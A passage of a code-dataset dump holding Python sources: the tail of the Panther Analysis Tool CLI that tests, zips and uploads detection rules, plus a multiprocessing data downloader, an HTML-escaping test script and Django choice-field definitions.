filename)\n    module = importlib.util.module_from_spec(spec)\n    try:\n        assert isinstance(spec.loader, Loader)  #nosec\n        spec.loader.exec_module(module)\n    except FileNotFoundError as err:\n        print('\\t[ERROR] File not found: ' + filename + ', skipping\\n')\n        return None, err\n    except Exception as err:  # pylint: disable=broad-except\n        # Catch arbitrary exceptions thrown by user code\n        print('\\t[ERROR] Error loading module, skipping\\n')\n        return None, err\n    return module, None\n\n\ndef load_analysis_specs(\n        directories: List[str]) -> Iterator[Tuple[str, str, Any, Any]]:\n    \"\"\"Loads the analysis specifications from a file.\n\n    Args:\n        directory: The relative path to Panther policies or rules.\n\n    Yields:\n        A tuple of the relative filepath, directory name, and loaded analysis specification dict.\n    \"\"\"\n    # setup a list of paths to ensure we do not import the same files\n    # multiple times, which can happen when testing from root directory without filters\n    loaded_specs = []\n    for directory in directories:\n        for relative_path, _, file_list in os.walk(directory):\n            # setup yaml object\n            yaml = YAML(typ='safe')\n            # If the user runs with no path args, filter to make sure\n            # we only run folders with valid analysis files. Ensure we test\n            # files in the current directory by not skipping this iteration\n            # when relative_path is the current dir\n            if directory in ['.', './'] and relative_path not in ['.', './']:\n                if not any([\n                        fnmatch(relative_path, path_pattern)\n                        for path_pattern in (\n                            DATA_MODEL_PATH_PATTERN, HELPERS_PATH_PATTERN,\n                            RULES_PATH_PATTERN, POLICIES_PATH_PATTERN)\n                ]):\n                    logging.debug('Skipping path %s', relative_path)\n                    continue\n            for filename in sorted(file_list):\n                spec_filename = os.path.join(relative_path, filename)\n                # skip loading files that have already been imported\n                if spec_filename in loaded_specs:\n                    continue\n                loaded_specs.append(spec_filename)\n                if fnmatch(filename, '*.y*ml'):\n                    with open(spec_filename, 'r') as spec_file_obj:\n                        try:\n                            yield spec_filename, relative_path, yaml.load(\n                                spec_file_obj), None\n                        except (YAMLParser.ParserError,\n                                YAMLScanner.ScannerError) as err:\n                            # recreate the yaml object and yeild the error\n                            yaml = YAML(typ='safe')\n                            yield spec_filename, relative_path, None, err\n                if fnmatch(filename, '*.json'):\n                    with open(spec_filename, 'r') as spec_file_obj:\n                        try:\n                            yield spec_filename, relative_path, json.load(\n                                spec_file_obj), None\n                        except ValueError as err:\n                            yield spec_filename, relative_path, None, err\n\n\ndef datetime_converted(obj: Any) -> Any:\n    \"\"\"A helper function for dumping spec files to JSON.\n\n    Args:\n        obj: Any object to convert.\n\n    Returns:\n        A string representation of the datetime.\n    \"\"\"\n    if isinstance(obj, datetime):\n        return obj.__str__()\n    return obj\n\n\ndef zip_analysis(args: argparse.Namespace) -> Tuple[int, str]:\n    \"\"\"Tests, validates, and then archives all policies and rules into a local zip file.\n\n    Returns 1 if the analysis tests or validation fails.\n\n    Args:\n        args: The populated Argparse namespace with parsed command-line arguments.\n\n    Returns:\n        A tuple of return code and the archive filename.\n    \"\"\"\n    if not args.skip_tests:\n        return_code, _ = test_analysis(args)\n        if return_code == 1:\n            return return_code, ''\n\n    logging.info('Zipping analysis packs in %s to %s', args.path, args.out)\n    # example: 2019-08-05T18-23-25\n    # The colon character is not valid in filenames.\n    current_time = datetime.now().isoformat(timespec='seconds').replace(\n        ':', '-')\n    filename = 'panther-analysis-{}.zip'.format(current_time)\n    with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zip_out:\n        # Always zip the helpers and data models\n        analysis = []\n        files: Set[str] = set()\n        for (file_name, f_path, spec, _) in list(\n                load_analysis_specs(\n                    [args.path, HELPERS_LOCATION, DATA_MODEL_LOCATION])):\n            if file_name not in files:\n                analysis.append((file_name, f_path, spec))\n                files.add(file_name)\n                files.add('./' + file_name)\n        analysis = filter_analysis(analysis, args.filter)\n        for analysis_spec_filename, dir_name, analysis_spec in analysis:\n            zip_out.write(analysis_spec_filename)\n            # datamodels may not have python body\n            if 'Filename' in analysis_spec:\n                zip_out.write(os.path.join(dir_name, analysis_spec['Filename']))\n\n    return 0, filename\n\n\ndef upload_analysis(args: argparse.Namespace) -> Tuple[int, str]:\n    \"\"\"Tests, validates, packages, and uploads all policies and rules into a Panther deployment.\n\n    Returns 1 if the analysis tests, validation, or packaging fails.\n\n    Args:\n        args: The populated Argparse namespace with parsed command-line arguments.\n\n    Returns:\n        A tuple of return code and the archive filename.\n    \"\"\"\n    return_code, archive = zip_analysis(args)\n    if return_code == 1:\n        return return_code, ''\n\n    # optionally set env variable for profile passed as argument\n    # this must be called prior to setting up the client\n    if args.aws_profile is not None:\n        logging.info('Using AWS profile: %s', args.aws_profile)\n        set_env(\"AWS_PROFILE\", args.aws_profile)\n\n    client = boto3.client('lambda')\n\n    with open(archive, 'rb') as analysis_zip:\n        zip_bytes = analysis_zip.read()\n        payload = {\n            'bulkUpload': {\n                'data': base64.b64encode(zip_bytes).decode('utf-8'),\n                # The UserID is required by Panther for this API call, but we have no way of\n                # acquiring it and it isn't used for anything. This is a valid UUID used by the\n                # Panther deployment tool to indicate this action was performed automatically.\n                'userId': '00000000-0000-4000-8000-000000000000',\n            },\n        }\n\n        logging.info('Uploading pack to Panther')\n        response = client.invoke(FunctionName='panther-analysis-api',\n                                 InvocationType='RequestResponse',\n                                 LogType='None',\n                                 Payload=json.dumps(payload))\n\n        response_str = response['Payload'].read().decode('utf-8')\n        response_payload = json.loads(response_str)\n\n        if response_payload.get(\n                'errorMessage') or response_payload.get('statusCode') != 200:\n            # try deprecated version, using analysis-api gateway\n            deprecated_payload = {\n                'resource':\n                    '/upload',\n                'HTTPMethod':\n                    'POST',\n                'Body':\n                    json.dumps({\n                        'Data': base64.b64encode(zip_bytes).decode('utf-8'),\n                        # The UserID is required by Panther for this API call, but we have\n                        # no way of acquiring it and it isn't used for anything. This is a\n                        # valid UUID used by the Panther deployment tool to indicate this\n                        # action was performed automatically.\n                        'UserID': '00000000-0000-4000-8000-000000000000',\n                    }),\n            }\n            response = client.invoke(FunctionName='panther-analysis-api',\n                                     InvocationType='RequestResponse',\n                                     LogType='None',\n                                     Payload=json.dumps(deprecated_payload))\n            response_str = response['Payload'].read().decode('utf-8')\n            response_payload = json.loads(response_str)\n\n            if response_payload.get('errorMessage') or response_payload.get(\n                    'statusCode') != 200:\n                logging.warning(\n                    'Failed to upload to Panther\\n\\tstatus code: %s\\n\\terror message: %s',\n                    response_payload.get('statusCode', 0),\n                    response_payload.get('errorMessage',\n                                         response_payload.get('body')))\n                return 1, ''\n\n        body = json.loads(response_payload['body'])\n        logging.info('Upload success.')\n        logging.info('API Response:\\n%s',\n                     json.dumps(body, indent=2, sort_keys=True))\n\n    return 0, ''\n\n\ndef test_analysis(args: argparse.Namespace) -> Tuple[int, list]:\n    \"\"\"Imports each policy or rule and runs their tests.\n\n    Args:\n        args: The populated Argparse namespace with parsed command-line arguments.\n\n    Returns:\n        A tuple of the return code, and a list of tuples containing invalid specs and their error.\n    \"\"\"\n    failed_tests: DefaultDict[str, list] = defaultdict(list)\n    logging.info('Testing analysis packs in %s\\n', args.path)\n\n    # First classify each file, always include globals and data models location\n    data_models, global_analysis, analysis, invalid_specs = classify_analysis(\n        list(\n            load_analysis_specs(\n                [args.path, HELPERS_LOCATION, DATA_MODEL_LOCATION])))\n\n    if all(len(x) == 0 for x in [data_models, global_analysis, analysis]):\n        if len(invalid_specs) > 0:\n            return 1, invalid_specs\n        return 1, [\"Nothing to test in {}\".format(args.path)]\n\n    # Apply the filters as needed\n    data_models = filter_analysis(data_models, args.filter)\n    global_analysis = filter_analysis(global_analysis, args.filter)\n    analysis = filter_analysis(analysis, args.filter)\n\n    if all(len(x) == 0 for x in [data_models, global_analysis, analysis]):\n        return 1, [\n            \"No analyses in {} matched filters {}\".format(\n                args.path, args.filter)\n        ]\n\n    # import each data model, global, policy, or rule and run its tests\n    # first import the globals\n    #   add them sys.modules to be used by rule and/or policies tests\n    invalid_globals = setup_global_helpers(global_analysis)\n    invalid_specs.extend(invalid_globals)\n\n    # then, setup data model dictionary to be used in rule/policy tests\n    log_type_to_data_model, invalid_data_models = setup_data_models(data_models)\n    invalid_specs.extend(invalid_data_models)\n\n    # then, import rules and policies; run tests\n    failed_tests, invalid_detection = setup_run_tests(log_type_to_data_model,\n                                                      analysis,\n                                                      args.minimum_tests)\n    invalid_specs.extend(invalid_detection)\n\n    print_summary(args.path, len(analysis), failed_tests, invalid_specs)\n    return int(bool(failed_tests or invalid_specs)), invalid_specs\n\n\ndef setup_global_helpers(global_analysis: List[Any]) -> List[Any]:\n    invalid_specs = []\n    for analysis_spec_filename, dir_name, analysis_spec in global_analysis:\n        analysis_id = analysis_spec['GlobalID']\n        module, load_err = load_module(\n            os.path.join(dir_name, analysis_spec['Filename']))\n        # If the module could not be loaded, continue to the next\n        if load_err:\n            invalid_specs.append((analysis_spec_filename, load_err))\n            break\n        sys.modules[analysis_id] = module\n    return invalid_specs\n\n\ndef setup_data_models(\n        data_models: List[Any]) -> Tuple[Dict[str, DataModel], List[Any]]:\n    invalid_specs = []\n    # log_type_to_data_model is a dict used to map LogType to a unique\n    # data model, ensuring there is at most one DataModel per LogType\n    log_type_to_data_model: Dict[str, DataModel] = dict()\n    for analysis_spec_filename, dir_name, analysis_spec in data_models:\n        analysis_id = analysis_spec['DataModelID']\n        if analysis_spec['Enabled']:\n            # load optional python modules\n            module = None\n            if 'Filename' in analysis_spec:\n                module, load_err = load_module(\n                    os.path.join(dir_name, analysis_spec['Filename']))\n                # If the module could not be loaded, continue to the next\n                if load_err:\n                    invalid_specs.append((analysis_spec_filename, load_err))\n                    continue\n                sys.modules[analysis_id] = module\n            # setup the mapping lookups\n            data_model = DataModel(analysis_id, analysis_spec['Mappings'],\n                                   module)\n            # check if the LogType already has an enabled data model\n            for log_type in analysis_spec['LogTypes']:\n                if log_type in log_type_to_data_model:\n                    print('\\t[ERROR] Conflicting Enabled LogTypes\\n')\n                    invalid_specs.append(\n                        (analysis_spec_filename,\n                         'Conflicting Enabled LogType [{}] in Data Model [{}]'.\n                         format(log_type, analysis_id)))\n                    continue\n                log_type_to_data_model[log_type] = data_model\n    return log_type_to_data_model, invalid_specs\n\n\ndef setup_run_tests(\n        log_type_to_data_model: Dict[str, DataModel], analysis: List[Any],\n        minimum_tests: int) -> Tuple[DefaultDict[str, List[Any]], List[Any]]:\n    invalid_specs = []\n    failed_tests: DefaultDict[str, list] = defaultdict(list)\n    for analysis_spec_filename, dir_name, analysis_spec in analysis:\n        analysis_type = analysis_spec['AnalysisType']\n        analysis_id = analysis_spec.get('PolicyID') or analysis_spec['RuleID']\n        print(analysis_id)\n\n        module, load_err = load_module(\n            os.path.join(dir_name, analysis_spec['Filename']))\n        # If the module could not be loaded, continue to the next\n        if load_err:\n            invalid_specs.append((analysis_spec_filename, load_err))\n            continue\n\n        analysis_funcs = {}\n        if analysis_type == POLICY:\n            analysis_funcs['run'] = module.policy\n        elif analysis_type == RULE:\n            analysis_funcs['run'] = module.rule\n            if 'dedup' in dir(module):\n                analysis_funcs['dedup'] = module.dedup\n            if 'title' in dir(module):\n                analysis_funcs['title'] = module.title\n\n        failed_tests = run_tests(analysis_spec, analysis_funcs,\n                                 log_type_to_data_model, failed_tests,\n                                 minimum_tests)\n        print('')\n    return failed_tests, invalid_specs\n\n\ndef print_summary(test_path: str, num_tests: int, failed_tests: Dict[str, list],\n                  invalid_specs: List[Any]) -> None:\n    '''Print a summary of passed, failed, and invalid specs'''\n    print('--------------------------')\n    print('Panther CLI Test Summary')\n    print('\\tPath: {}'.format(test_path))\n    print(\"\\tPassed: {}\".format(num_tests -\n                                (len(failed_tests) + len(invalid_specs))))\n    print(\"\\tFailed: {}\".format(len(failed_tests)))\n    print(\"\\tInvalid: {}\\n\".format(len(invalid_specs)))\n\n    err_message = \"\\t{}\\n\\t\\t{}\\n\"\n\n    if failed_tests:\n        print('--------------------------')\n        print('Failed Tests Summary')\n        for analysis_id in failed_tests:\n            print(err_message.format(analysis_id, failed_tests[analysis_id]))\n\n    if invalid_specs:\n        print('--------------------------')\n        print('Invalid Tests Summary')\n        for spec_filename, spec_error in invalid_specs:\n            print(err_message.format(spec_filename, spec_error))\n\n\ndef filter_analysis(analysis: List[Any], filters: Dict[str, List]) -> List[Any]:\n    if filters is None:\n        return analysis\n\n    filtered_analysis = []\n    for file_name, dir_name, analysis_spec in analysis:\n        if fnmatch(dir_name, HELPERS_PATH_PATTERN):\n            logging.debug('auto-adding helpers file %s',\n                          os.path.join(file_name))\n            filtered_analysis.append((file_name, dir_name, analysis_spec))\n            continue\n        match = True\n        for key, values in filters.items():\n            spec_value = analysis_spec.get(key, \"\")\n            spec_value = spec_value if isinstance(spec_value,\n                                                  list) else [spec_value]\n            if not set(spec_value).intersection(values):\n                match = False\n                break\n\n        if match:\n            filtered_analysis.append((file_name, dir_name, analysis_spec))\n\n    return filtered_analysis\n\n\ndef classify_analysis(\n    specs: List[Tuple[str, str, Any, Any]]\n) -> Tuple[List[Any], List[Any], List[Any], List[Any]]:\n\n    # First determine the type of each file\n    data_models = []\n    global_analysis = []\n    analysis = []\n    invalid_specs = []\n    # each analysis type must have a unique id, track used ids and\n    # add any duplicates to the invalid_specs\n    analysis_ids = []\n\n    for analysis_spec_filename, dir_name, analysis_spec, error in specs:\n        keys = list()\n        try:\n            # check for parsing errors from json.loads (ValueError) / yaml.safe_load (YAMLError)\n            if error:\n                raise error\n            # validate the schema\n            TYPE_SCHEMA.validate(analysis_spec)\n            if analysis_spec['AnalysisType'] == 'datamodel':\n                keys = list(DATA_MODEL_SCHEMA.schema.keys())\n                DATA_MODEL_SCHEMA.validate(analysis_spec)\n                if analysis_spec['DataModelID'] in analysis_ids:\n                    raise AnalysisIDConflictException(\n                        analysis_spec['DataModelID'])\n                analysis_ids.append(analysis_spec['DataModelID'])\n                data_models.append(\n                    (analysis_spec_filename, dir_name, analysis_spec))\n            if analysis_spec['AnalysisType'] == 'global':\n                keys = list(GLOBAL_SCHEMA.schema.keys())\n                GLOBAL_SCHEMA.validate(analysis_spec)\n                if analysis_spec['GlobalID'] in analysis_ids:\n                    raise AnalysisIDConflictException(analysis_spec['GlobalID'])\n                analysis_ids.append(analysis_spec['GlobalID'])\n                global_analysis.append(\n                    (analysis_spec_filename, dir_name, analysis_spec))\n            if analysis_spec['AnalysisType'] == 'policy':\n                keys = list(POLICY_SCHEMA.schema.keys())\n                POLICY_SCHEMA.validate(analysis_spec)\n                if analysis_spec['PolicyID'] in analysis_ids:\n                    raise AnalysisIDConflictException(analysis_spec['PolicyID'])\n                analysis_ids.append(analysis_spec['PolicyID'])\n                analysis.append(\n                    (analysis_spec_filename, dir_name, analysis_spec))\n            if analysis_spec['AnalysisType'] == 'rule':\n                keys = list(RULE_SCHEMA.schema.keys())\n                RULE_SCHEMA.validate(analysis_spec)\n                if analysis_spec['RuleID'] in analysis_ids:\n                    raise AnalysisIDConflictException(analysis_spec['RuleID'])\n                analysis_ids.append(analysis_spec['RuleID'])\n                analysis.append(\n                    (analysis_spec_filename, dir_name, analysis_spec))\n        except SchemaWrongKeyError as err:\n            invalid_specs.append(\n                (analysis_spec_filename, handle_wrong_key_error(err, keys)))\n        except (SchemaError, SchemaMissingKeyError, SchemaForbiddenKeyError,\n                SchemaUnexpectedTypeError) as err:\n            invalid_specs.append((analysis_spec_filename, err))\n            continue\n        except Exception as err:  # pylint: disable=broad-except\n            # Catch arbitrary exceptions thrown by bad specification files\n            invalid_specs.append((analysis_spec_filename, err))\n            continue\n\n    return (data_models, global_analysis, analysis, invalid_specs)\n\n\ndef handle_wrong_key_error(err: SchemaWrongKeyError, keys: list) -> Exception:\n    regex = r\"Wrong key(?:s)? (.+?) in (.*)$\"\n    matches = re.match(regex, str(err))\n    msg = '{} not in list of valid keys: {}'\n    try:\n        if matches:\n            raise SchemaWrongKeyError(msg.format(matches.group(1),\n                                                 keys)) from err\n        raise SchemaWrongKeyError(msg.format('UNKNOWN_KEY', keys)) from err\n    except SchemaWrongKeyError as exc:\n        return exc\n\n\ndef run_tests(analysis: Dict[str, Any], analysis_funcs: Dict[str, Any],\n              analysis_data_models: Dict[str, DataModel],\n              failed_tests: DefaultDict[str, list],\n              minimum_tests: int) -> DefaultDict[str, list]:\n\n    if len(analysis.get('Tests', [])) < minimum_tests:\n        failed_tests[analysis.get('PolicyID') or analysis['RuleID']].append(\n            'Insufficient test coverage: {} tests required but only {} found'.\n            format(minimum_tests, len(analysis.get('Tests', []))))\n\n    # First check if any tests exist, so we can print a helpful message if not\n    if 'Tests' not in analysis:\n        analysis_id = analysis.get('PolicyID') or analysis['RuleID']\n        print('\\tNo tests configured for {}'.format(analysis_id))\n        return failed_tests\n\n    for unit_test in analysis['Tests']:\n        try:\n            entry = unit_test.get('Resource') or unit_test['Log']\n            log_type = entry.get('p_log_type', '')\n            # set up each test case, including any relevant data models\n            test_case = TestCase(entry, analysis_data_models.get(log_type))\n            result = analysis_funcs['run'](test_case)\n        except KeyError as err:\n            logging.warning('KeyError: {%s}', err)\n            failed_tests[analysis.get('PolicyID') or\n                         analysis['RuleID']].append(unit_test['Name'])\n            continue\n        except Exception as err:  # pylint: disable=broad-except\n            # Catch arbitrary exceptions raised by user code\n            logging.warning('Unexpected exception: {%s}', err)\n            failed_tests[analysis.get('PolicyID') or\n                         analysis['RuleID']].append(unit_test['Name'])\n            continue\n\n        # using a dictionary to map between the tests and their outcomes\n        # assume the test passes (default \"PASS\")\n        # until failure condition is found (set to \"FAIL\")\n        test_result = defaultdict(lambda: 'PASS')\n        # check expected result\n        if result != unit_test['ExpectedResult']:\n            test_result['outcome'] = 'FAIL'\n\n        # check dedup and title function return non-None\n        # Only applies to rules which match an incoming event\n        if unit_test['ExpectedResult']:\n            for func in ['dedup', 'title']:\n                if analysis_funcs.get(func):\n                    if not analysis_funcs[func](test_case):\n                        test_result[func] = 'FAIL'\n                        test_result['outcome'] = 'FAIL'\n\n        if test_result['outcome'] == 'FAIL':\n            failed_tests[analysis.get('PolicyID') or\n                         analysis['RuleID']].append(unit_test['Name'])\n\n        # print results\n        print('\\t[{}] {}'.format(test_result['outcome'], unit_test['Name']))\n        for func in ['dedup', 'title']:\n            if analysis_funcs.get(func) and unit_test['ExpectedResult']:\n                print('\\t\\t[{}] [{}] {}'.format(\n                    test_result[func], func, analysis_funcs[func](test_case)))\n\n    if minimum_tests > 1 and not (\n        [x for x in analysis['Tests'] if x['ExpectedResult']] and\n        [x for x in analysis['Tests'] if not x['ExpectedResult']]):\n        failed_tests[analysis.get('PolicyID') or analysis['RuleID']].append(\n            'Insufficient test coverage: expected at least one positive and one negative test'\n        )\n\n    return failed_tests\n\n\ndef setup_parser() -> argparse.ArgumentParser:\n    parser = argparse.ArgumentParser(\n        description=\n        'Panther Analysis Tool: A command line tool for managing Panther policies and rules.',\n        prog='panther_analysis_tool')\n    parser.add_argument('--version',\n                        action='version',\n                        version='panther_analysis_tool 0.4.2')\n    subparsers = parser.add_subparsers()\n\n    test_parser = subparsers.add_parser(\n        'test',\n        help='Validate analysis specifications and run policy and rule tests.')\n    test_parser.add_argument(\n        '--path',\n        default='.',\n        type=str,\n        help='The relative path to Panther policies and rules.',\n        required=False)\n    test_parser.add_argument('--filter',\n                             required=False,\n                             metavar=\"KEY=VALUE\",\n                             nargs='+')\n    test_parser.add_argument(\n        '--minimum-tests',\n        default='0',\n        type=int,\n        help=\n        'The minimum number of tests in order for a detection to be considered passing. If a number'\n        +\n        'greater than 1 is specified, at least one True and one False test is required.',\n        required=False)\n    test_parser.add_argument('--debug', action='store_true', dest='debug')\n    test_parser.set_defaults(func=test_analysis)\n\n    zip_parser = subparsers.add_parser(\n        'zip',\n        help=\n        'Create an archive of local policies and rules for uploading to Panther.'\n    )\n    zip_parser.add_argument(\n        '--path',\n        default='.',\n        type=str,\n        help='The relative path to Panther policies and rules.',\n        required=False)\n    zip_parser.add_argument(\n        '--out',\n        default='.',\n        type=str,\n        help='The path to write zipped policies and rules to.',\n        required=False)\n    zip_parser.add_argument('--filter',\n                            required=False,\n                            metavar=\"KEY=VALUE\",\n                            nargs='+')\n    zip_parser.add_argument(\n        '--minimum-tests',\n        default='0',\n        type=int,\n        help=\n        'The minimum number of tests in order for a detection to be considered passing. If a number'\n        +\n        'greater than 1 is specified, at least one True and one False test is required.',\n        required=False)\n    zip_parser.add_argument('--debug', action='store_true', dest='debug')\n    zip_parser.add_argument('--skip-tests',\n                            action='store_true',\n                            dest='skip_tests')\n    zip_parser.set_defaults(func=zip_analysis)\n\n    upload_parser = subparsers.add_parser(\n        'upload',\n        help='Upload specified policies and rules to a Panther deployment.')\n    upload_parser.add_argument(\n        '--aws-profile',\n        type=str,\n        help=\n        'The AWS profile to use when uploading to an AWS Panther deployment.',\n        required=False)\n    upload_parser.add_argument(\n        '--path',\n        default='.',\n        type=str,\n        help='The relative path to Panther policies and rules.',\n        required=False)\n    upload_parser.add_argument(\n        '--out',\n        default='.',\n        type=str,\n        help=\n        'The location to store a local copy of the packaged policies and rules.',\n        required=False)\n    upload_parser.add_argument(\n        '--minimum-tests',\n        default='0',\n        type=int,\n        help=\n        'The minimum number of tests in order for a detection to be considered passing. If a number'\n        +\n        'greater than 1 is specified, at least one True and one False test is required.',\n        required=False)\n    upload_parser.add_argument('--filter',\n                               required=False,\n                               metavar=\"KEY=VALUE\",\n                               nargs='+')\n    upload_parser.add_argument('--debug', action='store_true', dest='debug')\n    upload_parser.add_argument('--skip-tests',\n                               action='store_true',\n                               dest='skip_tests')\n    upload_parser.set_defaults(func=upload_analysis)\n\n    return parser\n\n\n# Parses the filters, expects a list of strings\ndef parse_filter(filters: List[str]) -> Dict[str, Any]:\n    parsed_filters = {}\n    for filt in filters:\n        split = filt.split('=')\n        if len(split) != 2 or split[0] == '' or split[1] == '':\n            logging.warning('Filter %s is not in format KEY=VALUE, skipping',\n                            filt)\n            continue\n        key = split[0]\n        if not any([\n                key in (list(GLOBAL_SCHEMA.schema.keys()) +\n                        list(POLICY_SCHEMA.schema.keys()) +\n                        list(RULE_SCHEMA.schema.keys()))\n                for key in (key, Optional(key))\n        ]):\n            logging.warning(\n                'Filter key %s is not a valid filter field, skipping', key)\n            continue\n        parsed_filters[key] = split[1].split(',')\n    return parsed_filters\n\n\ndef set_env(key: str, value: str) -> None:\n    os.environ[key] = value\n\n\ndef run() -> None:\n    parser = setup_parser()\n    # if no args are passed, print the help output\n    args = parser.parse_args(args=None if sys.argv[1:] else ['--help'])\n\n    logging.basicConfig(format='[%(levelname)s]: %(message)s',\n                        level=logging.DEBUG if args.debug else logging.INFO)\n\n    try:\n        if args.filter is not None:\n            args.filter = parse_filter(args.filter)\n        return_code, out = args.func(args)\n    except Exception as err:  # pylint: disable=broad-except\n        # Catch arbitrary exceptions without printing help message\n        logging.warning('Unhandled exception: \"%s\"', err)\n        sys.exit(1)\n\n    if return_code == 1:\n        if out:\n            logging.error(out)\n    elif return_code == 0:\n        if out:\n            logging.info(out)\n\n    sys.exit(return_code)\n\n\nif __name__ == '__main__':\n    run()\n","sub_path":"panther_analysis_tool/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":32652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"248308754","text":"from multiprocessing import Pool as ThreadPool, Process, JoinableQueue, Queue, freeze_support\n\nimport panormus.data.bo.econ as econ\n\n \n\n# downloader can be refactorized into the utils\n\n@DeprecationWarning\n\nclass Downloader(object):\n\n    def __init__(self,tickers_list):\n\n        '''\n\n        :param download_list: list of (ISO,series_name) pairs\n\n        '''\n\n        self.tickers_list = tickers_list\n\n        self.conn = econ.get_instance_using_credentials()\n\n \n\n    def submit(self):\n\n        \"\"\"\n\n        In this part it creates several threads through Queue, and using \"put\"\n\n        method to fill in the id of queries and queries themselves\n\n        \"\"\"\n\n        print ('Multi-process failed, now download one by one')\n\n        series_with_id = self.tickers_list\n\n        #initialise series result queue\n\n        series_results = Queue()\n\n        conn = econ.get_instance_using_credentials()\n\n        for i in series_with_id:\n\n            id = i[0]\n\n            series = i[1]\n\n            #print(\"querying: {}\".format(series))\n\n            data = conn.get(series, start_date=None, end_date=None, vintage='last')\n\n            series_results.put({id: data})\n\n            #print (series+' is done')\n\n        return series_results\n\n \n\n    def submit_with_mp(self):\n\n        series_with_id = self.tickers_list\n\n        series_queue = JoinableQueue()\n\n        series_results = Queue()\n\n \n\n        query_processes = [QueryProcess(series_queue, series_results) for i in range(len(series_with_id))]\n\n \n\n        for process in query_processes:\n\n            freeze_support()\n\n            process.start()\n\n \n\n        for id_s in series_with_id:\n\n            print(id_s)\n\n            series_queue.put((id_s[0], id_s[1]))\n\n \n\n        for id_s in series_with_id:\n\n            series_queue.put((id_s[0], None))\n\n            series_queue.join()\n\n \n\n        return series_results\n\n \n\n    def convert_result_to_dict(self, sql_results, query_with_id):\n\n        \"\"\"\n\n        sql_results: sql_results returned from submit\n\n        return: return a dictionary: key is the Queries_name, value is the Dataframe\n\n        \"\"\"\n\n        result_dict = {}\n\n        for i in range(len(query_with_id)):\n\n            this_dict = sql_results.get()\n\n            result_dict.update(this_dict)\n\n \n\n        return result_dict\n\n \n\n# queryprocess can be refactorized into the utils\n\nclass QueryProcess(Process):\n\n# Note: this class is to mimic the method in Bokeh visualisation tools,\n\n# which submit the query one by one and at the same time, to speed up the\n\n# process. So that it can be claimed that I'm optimising the code for speed\n\n    def __init__(self, series_queue,result_queue):\n\n        super(QueryProcess,self).__init__() # this is convert the queryprocess to the father process such that everything initiated in father process can be used here\n\n        self.series_queue = series_queue\n\n        self.result_queue = result_queue\n\n \n\n    def run(self):\n\n        # this is the main part of QueryProcess\n\n        while True:\n\n            id,series = self.series_queue.get()\n\n            if series is None:\n\n                print ('{} is done'.format(id))\n\n                self.series_queue.task_done()\n\n                break\n\n \n\n            print (\"querying: {}\".format(series))\n\n            conn = econ.get_instance_using_credentials()\n\n            data = conn.get(series, start_date=None, end_date=None, vintage='last')\n\n            self.series_queue.task_done()\n\n            self.result_queue.put({id:data})\n\n        return","sub_path":"Caxton/JY_Completed/current_version/production_ver/Analytics/download_util.py","file_name":"download_util.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"416719219","text":"#!/usr/bin/python3\n\n\n\n\nimport jk_rawhtml\nimport jk_hwriter\n\n\n\n\nwith jk_rawhtml.HTML5Scope() as H:\n\tret = H.html()[\n\t\t\tH.body(onload='func_with_esc_args(1, \"bar\")')[\n\t\t\t\tH.div[\n\t\t\t\t\t'Escaped chars: ', '< ', u'>', '&'\n\t\t\t\t],\n\t\t\t\tH.div[\n\t\t\t\t\t\"foo < & > bar\",\n\t\t\t\t],\n\t\t\t\tH.raw_html('<b>My surrounding b tags are not escaped</b>'),\n\t\t\t]\n\t\t]\n\n\nprint(str(ret))\n\n\n\n","sub_path":"testing/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"457952530","text":"from django.utils.translation       import ugettext as _\nfrom django.db.models               import SmallIntegerField\nfrom django.db                      import models\n\nDAY_OF_THE_WEEK = {\n    '1' : _(u'Monday'),\n    '2' : _(u'Tuesday'),\n    '3' : _(u'Wednesday'),\n    '4' : _(u'Thursday'),\n    '5' : _(u'Friday'),\n    '6' : _(u'Saturday'),\n    '7' : _(u'Sunday'),\n}\n\nSTAFF_ROLES = {\n    '1' : _(u'Chairperson'),\n    '2' : _(u'Dean'),\n    '3' : _(u'Laboratory Head'),\n    '4' : _(u'Staff'),\n}\n\nSTAFF_AVAILABILITY = {\n    '1' : _(u'Available'),\n    '2' : _(u'On Leave'),\n}\n\nSTAFF_TITLES = {\n    '1' : _(u'Mr.'),\n    '2' : _(u'Ms.'),\n    '3' : _(u'Mrs.'),\n    '4' : _(u'Engr.'),\n    '5' : _(u'Dr.'),\n}\n\n\nclass DayOfTheWeekField(models.CharField):\n    def __init__(self, *args, **kwargs):\n        kwargs['choices']=tuple(sorted(DAY_OF_THE_WEEK.items()))\n        kwargs['max_length']=1\n        super(DayOfTheWeekField,self).__init__(*args, **kwargs)\n\nclass StaffRole(models.CharField):\n    def __init__(self, *args, **kwargs):\n        kwargs['choices']=tuple(sorted(STAFF_ROLES.items()))\n        kwargs['max_length']=1\n        super(StaffRole,self).__init__(*args, **kwargs)\n\nclass StaffTitle(models.CharField):\n    def __init__(self, *args, **kwargs):\n        kwargs['choices']=tuple(sorted(STAFF_TITLES.items()))\n        kwargs['max_length']=1\n        super(StaffTitle,self).__init__(*args, **kwargs)\n\nclass StaffAvailability(models.CharField):\n    def __init__(self, *args, **kwargs):\n        kwargs['choices']=tuple(sorted(STAFF_AVAILABILITY.items()))\n        kwargs['max_length']=1\n        super(StaffAvailability,self).__init__(*args, **kwargs)\n","sub_path":"main/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
